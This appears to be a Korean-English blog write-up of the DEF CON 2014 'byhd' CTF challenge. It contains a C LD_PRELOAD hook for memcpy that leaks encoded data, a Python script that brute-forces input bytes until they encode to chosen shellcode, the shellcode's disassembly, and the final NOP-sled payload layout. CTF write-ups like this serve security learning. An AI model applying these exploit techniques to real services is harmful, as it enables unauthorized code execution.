I think It is not a good solution. I did just brute-force to find encoded shellcode.
It was first time to brute-force the remote binary, So I just want to share my experience.
The method is that I hooked server side. So, server side send the encoded value to client.
Then, client check if the encoded value is same with our shell code or not.
I repeated this method.
following code is server hooking code.
정확한 풀이는 아니고, 부르트포싱으로 풀었다.
리모트를 부르트포싱 해본건 처음이어서, 그 과정을 적어볼까 한다.
방법은 서버를 Hooking해서, 인코딩된 결과를 클라이언트로 전송해줬다.
그래서 한바이트씩 넣어보다가, 쉘코드와 일치하는 부분이 있을 경우 기억해두는 방식으로 했다.
아래는 서버 후킹 코드.
- // gcc -shared -ldl hook.c -o hook.so -fPIC -ldl
 - #define _GNU_SOURCE
 - #include <stdio.h>
 - #include<sys/types.h>
 - #include <dlfcn.h>
 - void * memcpy ( void * destination, const void * source, size_t num ) {
 - static void (*memcpy_real)(void*, const void*, size_t) = NULL;
 - int i=0;
 - if (__builtin_return_address(0) == 0x401c9e)
 - {
 - //FILE *fp = fopen("scode", "w");
 - fprintf(stdout, "Memcpy: ");
 - int length = num*2;
 - send(4, &length, 4, 0);
 - for (i=0; i<num; i++)
 - {
 - fprintf(stdout, "%02x ", *(char *)(source + i) & 0xFF);
 - char buf[2];
 - sprintf(buf, "%02x", *(char *)(source + i) & 0xFF);
 - send(4, &buf, 2, 0);
 - }
 - //for (i=0; i<num; i++)
 - // fprintf(fp, "%c", *(char *)(source + i) & 0xFF);
 - //fclose(fp);
 - fprintf(stdout, "\n\n");
 - //system("ndisasm scode");
 - fprintf(stdout, "-------------------------------\n\n");
 - }
 - if (!memcpy_real)
 - memcpy_real = dlsym(RTLD_NEXT, "memcpy");
 - memcpy_real(destination, source, num);
 - }
 
컴파일을 한 후,
# LD_PRELOAD=./hook.so ./byhd
와 같은 방식으로 서버를 연다.
그리고, 아래의 코드로 부르트포싱을 돌렸다.
- from socket import *
 - from struct import *
 - import sys
 - import time
 - def recvuntil(s, length):
 - result = ""
 - while True:
 - result += s.recv(1)
 - if len(result) >= length:
 - break
 - return result
 - #s.connect(('byhd_147e0accdae13428910e909704b21b11.2014.shallweplayaga.me', 9730))
 - shellcode = "48 8b 4d c8 48 83 c1 30 48 81 e2 ff 00 00 00 5b 48 83 eb 15 ff d3"
 - shellcode = shellcode.replace(" ","").decode('hex')
 - answer = ""
 - ii = len(answer)
 - fail = False
 - while ii < 250:
 - found = False
 - if fail != True:
 - i=0xff
 - fail = False
 - while i>=0:
 - s = socket(AF_INET, SOCK_STREAM)
 - s.connect(('192.168.0.41', 9730))
 - #print hex(i)
 - s.send(pack('<L', len(answer)+1))
 - s.send(answer+chr(i))
 - length = unpack('<L',s.recv(4))[0]
 - data = recvuntil(s,length)
 - print data
 - data = data.decode('hex')
 - if len(data) > len(answer) and data[len(answer):] == shellcode[len(answer):len(data)]:
 - answer += chr(i)
 - print "[+] Found:",answer.encode('hex')
 - ii+=1
 - s.close()
 - found = True
 - break
 - if data[:len(shellcode)] == shellcode:
 - print answer.encode('hex')
 - sys.exit()
 - s.close()
 - time.sleep(0.01)
 - i-=1
 - if found == False:
 - print "[-] Fail"
 - if len(answer) <= 1:
 - break
 - else:
 - last = answer[-1]
 - i = ord(last) - 1
 - answer = answer[:-1]
 - ii-=1
 - fail = True
 
사용한 쉘코드는 아래와 같다. (팀원이 생각한 코드)
$ ndisasm asdf3 -b64 00000000 488B4DC8 mov rcx,[rbp-0x38] 00000004 4883C130 add rcx,byte +0x30 00000008 4881E2FF000000 and rdx,0xff 0000000F 5B pop rbx 00000010 4883EB15 sub rbx,byte +0x15 00000014 FFD3 call rbx  | 
최대한 짧게 하여, 우리가 입력했던 버퍼의 뒤쪽부붙을 다시 memcpy로 복사해서 콜 하도록 하였다.
그래서 최종적인 페이로드는 위에서 찾은 ( [인코딩된 문자] + "\x90"*50 + [쉘코드] ) 를 보내면 된다.
'Computer Security > CTF' 카테고리의 다른 글
| [Defcon 2014] 100 lines exploit (0) | 2014.05.19 | 
|---|---|
| [RuCTF 2014 quals] Reversing 500 (0) | 2014.03.11 | 
| [Codegate 2014 quals] Web 500 write up (0) | 2014.02.24 | 
| [secuinside 2013] debugd exploit (2) | 2013.11.28 | 
| [Secuinside 2013] angry danbi exploit (3) | 2013.11.27 |